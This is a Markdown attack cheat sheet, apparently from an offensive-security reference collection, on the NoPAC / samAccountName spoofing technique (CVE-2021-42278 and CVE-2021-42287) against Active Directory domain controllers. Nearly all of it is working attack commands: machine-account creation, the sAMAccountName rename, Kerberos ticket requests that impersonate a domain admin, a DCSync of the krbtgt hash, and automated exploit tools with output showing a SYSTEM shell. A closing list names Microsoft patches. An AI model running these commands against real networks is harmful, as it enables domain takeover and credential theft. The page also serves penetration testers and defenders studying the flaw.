129 lines
8.8 KiB
Markdown
129 lines
8.8 KiB
Markdown
# NoPAC / samAccountName Spoofing
|
|
|
|
> During S4U2Self, the KDC will try to append a '\$' to the computer name specified in the TGT, if the computer name is not found. An attacker can create a new machine account with the sAMAccountName set to a domain controller's sAMAccountName - without the '\$'. For instance, suppose there is a domain controller with a sAMAccountName set to 'DC\$'. An attacker would then create a machine account with the sAMAccountName set to 'DC'. The attacker can then request a TGT for the newly created machine account. After the TGT has been issued by the KDC, the attacker can rename the newly created machine account to something different, e.g. JOHNS-PC. The attacker can then perform S4U2Self and request a ST to itself as any user. Since the machine account with the sAMAccountName set to 'DC' has been renamed, the KDC will try to find the machine account by appending a '$', which will then match the domain controller. The KDC will then issue a valid ST for the domain controller.
|
|
|
|
**Requirements**
|
|
|
|
* MachineAccountQuota > 0
|
|
|
|
**Check for exploitation**
|
|
|
|
0. Check the MachineAccountQuota of the account
|
|
```powershell
|
|
netexec ldap 10.10.10.10 -u username -p 'Password123' -d 'domain.local' --kdcHost 10.10.10.10 -M MAQ
|
|
StandIn.exe --object ms-DS-MachineAccountQuota=*
|
|
```
|
|
1. Check if the DC is vulnerable
|
|
```powershell
|
|
netexec smb 10.10.10.10 -u '' -p '' -d domain -M nopac
|
|
```
|
|
|
|
**Exploitation**
|
|
|
|
0. Create a computer account
|
|
```powershell
|
|
impacket@linux> addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'
|
|
|
|
powermad@windows> . .\Powermad.ps1
|
|
powermad@windows> $password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
|
|
powermad@windows> New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose
|
|
|
|
sharpmad@windows> Sharpmad.exe MAQ -Action new -MachineAccount ControlledComputer -MachinePassword ComputerPassword
|
|
```
|
|
1. Clear the controlled machine account `servicePrincipalName` attribute
|
|
```ps1
|
|
krbrelayx@linux> addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController
|
|
|
|
powershell@windows> . .\Powerview.ps1
|
|
powershell@windows> Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose
|
|
```
|
|
2. (CVE-2021-42278) Change the controlled machine account `sAMAccountName` to a Domain Controller's name without the trailing `$`
|
|
```ps1
|
|
# https://github.com/SecureAuthCorp/impacket/pull/1224
|
|
impacket@linux> renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'
|
|
|
|
powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose
|
|
```
|
|
3. Request a TGT for the controlled machine account
|
|
```ps1
|
|
impacket@linux> getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'
|
|
|
|
cmd@windows> Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap
|
|
```
|
|
4. Reset the controlled machine account sAMAccountName to its old value
|
|
```ps1
|
|
impacket@linux> renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'
|
|
|
|
powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose
|
|
```
|
|
5. (CVE-2021-42287) Request a service ticket with `S4U2self` by presenting the TGT obtained before
|
|
```ps1
|
|
# https://github.com/SecureAuthCorp/impacket/pull/1202
|
|
impacket@linux> KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'
|
|
|
|
cmd@windows> Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]
|
|
```
|
|
6. DCSync
|
|
```ps1
|
|
KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'
|
|
```
|
|
|
|
Automated exploitation:
|
|
|
|
* [cube0x0/noPac](https://github.com/cube0x0/noPac) - Windows
|
|
```powershell
|
|
noPac.exe scan -domain htb.local -user user -pass 'password123'
|
|
noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt
|
|
noPac.exe -domain htb.local -user domain_user -pass "Password123!" /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service ldaps /ptt /impersonate Administrator
|
|
```
|
|
* [Ridter/noPac](https://github.com/Ridter/noPac) - Linux
|
|
```ps1
|
|
python noPac.py 'domain.local/user' -hashes ':31d6cfe0d16ae931b73c59d7e0c089c0' -dc-ip 10.10.10.10 -use-ldap -dump
|
|
```
|
|
* [WazeHell/sam-the-admin](https://github.com/WazeHell/sam-the-admin)
|
|
```ps1
|
|
$ python3 sam_the_admin.py "domain/user:password" -dc-ip 10.10.10.10 -shell
|
|
[*] Selected Target dc.caltech.white
|
|
[*] Total Domain Admins 11
|
|
[*] will try to impersonat gaylene.dreddy
|
|
[*] Current ms-DS-MachineAccountQuota = 10
|
|
[*] Adding Computer Account "SAMTHEADMIN-11$"
|
|
[*] MachineAccount "SAMTHEADMIN-11$" password = EhFMT%mzmACL
|
|
[*] Successfully added machine account SAMTHEADMIN-11$ with password EhFMT%mzmACL.
|
|
[*] SAMTHEADMIN-11$ object = CN=SAMTHEADMIN-11,CN=Computers,DC=caltech,DC=white
|
|
[*] SAMTHEADMIN-11$ sAMAccountName == dc
|
|
[*] Saving ticket in dc.ccache
|
|
[*] Resting the machine account to SAMTHEADMIN-11$
|
|
[*] Restored SAMTHEADMIN-11$ sAMAccountName to original value
|
|
[*] Using TGT from cache
|
|
[*] Impersonating gaylene.dreddy
|
|
[*] Requesting S4U2self
|
|
[*] Saving ticket in gaylene.dreddy.ccache
|
|
[!] Launching semi-interactive shell - Careful what you execute
|
|
C:\Windows\system32>whoami
|
|
nt authority\system
|
|
```
|
|
* [ly4k/Pachine](https://github.com/ly4k/Pachine)
|
|
```powershell
|
|
usage: pachine.py [-h] [-scan] [-spn SPN] [-impersonate IMPERSONATE] [-domain-netbios NETBIOSNAME] [-computer-name NEW-COMPUTER-NAME$] [-computer-pass password] [-debug] [-method {SAMR,LDAPS}] [-port {139,445,636}] [-baseDN DC=test,DC=local]
|
|
[-computer-group CN=Computers,DC=test,DC=local] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] -dc-host hostname [-dc-ip ip]
|
|
[domain/]username[:password]
|
|
$ python3 pachine.py -dc-host dc.domain.local -scan 'domain.local/john:Passw0rd!'
|
|
$ python3 pachine.py -dc-host dc.domain.local -spn cifs/dc.domain.local -impersonate administrator 'domain.local/john:Passw0rd!'
|
|
$ export KRB5CCNAME=$PWD/administrator@domain.local.ccache
|
|
$ impacket-psexec -k -no-pass 'domain.local/administrator@dc.domain.local'
|
|
```
|
|
|
|
**Mitigations**:
|
|
|
|
* [KB5007247 - Windows Server 2012 R2](https://support.microsoft.com/en-us/topic/november-9-2021-kb5007247-monthly-rollup-2c3b6017-82f4-4102-b1e2-36f366bf3520)
|
|
* [KB5008601 - Windows Server 2016](https://support.microsoft.com/en-us/topic/november-14-2021-kb5008601-os-build-14393-4771-out-of-band-c8cd33ce-3d40-4853-bee4-a7cc943582b9)
|
|
* [KB5008602 - Windows Server 2019](https://support.microsoft.com/en-us/topic/november-14-2021-kb5008602-os-build-17763-2305-out-of-band-8583a8a3-ebed-4829-b285-356fb5aaacd7)
|
|
* [KB5007205 - Windows Server 2022](https://support.microsoft.com/en-us/topic/november-9-2021-kb5007205-os-build-20348-350-af102e6f-cc7c-4cd4-8dc2-8b08d73d2b31)
|
|
* [KB5008102](https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e)
|
|
* [KB5008380](https://support.microsoft.com/en-us/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041)
|
|
|
|
|
|
## References
|
|
|
|
* [sAMAccountName spoofing - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing) |